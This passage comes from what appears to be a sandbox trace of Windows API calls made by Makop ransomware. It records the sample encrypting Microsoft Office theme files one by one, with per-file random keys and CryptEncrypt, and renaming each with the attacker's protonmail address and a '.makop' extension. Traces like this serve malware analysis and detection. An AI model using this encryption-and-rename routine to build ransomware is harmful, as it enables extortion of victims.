returned 1 [0159.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.775] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8e301, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8e301, lpOverlapped=0x0) returned 1 [0159.798] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e310, dwBufLen=0x8e310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e310) returned 1 [0159.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8e310, lpOverlapped=0x0) returned 1 [0159.810] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.811] SetEndOfFile (hFile=0xf0) returned 1 [0159.818] GetProcessHeap () returned 0x48a0000 [0159.819] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.819] GetProcessHeap () returned 0x48a0000 [0159.819] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.819] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0159.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.848] CloseHandle (hObject=0xf0) returned 1 [0159.848] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1 [0159.848] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0159.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.850] GetProcessHeap () returned 0x48a0000 [0159.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0159.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.855] GetProcessHeap () returned 0x48a0000 [0159.855] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.855] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.855] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.855] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.855] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.856] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.856] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.856] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.856] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.856] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8059, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8059, lpOverlapped=0x0) returned 1 [0159.859] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8060, dwBufLen=0x8060 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8060) returned 1 [0159.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8060, lpOverlapped=0x0) returned 1 [0159.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.860] SetEndOfFile (hFile=0xf0) returned 1 [0159.869] GetProcessHeap () returned 0x48a0000 [0159.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.869] GetProcessHeap () returned 0x48a0000 [0159.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.869] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0159.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.871] CloseHandle (hObject=0xf0) returned 1 [0159.871] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1 [0159.871] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0159.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.872] GetProcessHeap () returned 0x48a0000 [0159.872] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.872] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.873] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0159.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.877] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.877] GetProcessHeap () returned 0x48a0000 [0159.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0159.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0159.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0159.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.879] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa8b9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa8b9, lpOverlapped=0x0) returned 1 [0159.881] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa8c0, dwBufLen=0xa8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa8c0) returned 1 [0159.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa8c0, lpOverlapped=0x0) returned 1 [0159.882] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.882] SetEndOfFile (hFile=0xf0) returned 1 [0159.889] GetProcessHeap () returned 0x48a0000 [0159.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0159.889] GetProcessHeap () returned 0x48a0000 [0159.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.889] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0159.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.891] CloseHandle (hObject=0xf0) returned 1 [0159.891] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1 [0159.892] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0159.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.893] GetProcessHeap () returned 0x48a0000 [0159.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.893] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.893] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0159.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.901] GetProcessHeap () returned 0x48a0000 [0159.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0159.901] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0159.901] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0159.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0159.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0159.902] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0159.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0159.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0159.903] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.903] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.903] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9fed, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9fed, lpOverlapped=0x0) returned 1 [0159.905] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9ff0, dwBufLen=0x9ff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9ff0) returned 1 [0159.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9ff0, lpOverlapped=0x0) returned 1 [0159.907] CryptDestroyKey (hKey=0x48c7128) returned 1 [0159.907] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa0c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.907] SetEndOfFile (hFile=0xf0) returned 1 [0159.914] GetProcessHeap () returned 0x48a0000 [0159.914] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0159.914] GetProcessHeap () returned 0x48a0000 [0159.914] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0159.914] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0159.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0159.916] CloseHandle (hObject=0xf0) returned 1 [0159.917] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1 [0159.917] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0159.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0159.918] GetProcessHeap () returned 0x48a0000 [0159.918] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0159.918] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0159.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0159.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0159.922] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0159.922] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0159.923] GetProcessHeap () returned 0x48a0000 [0159.923] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, 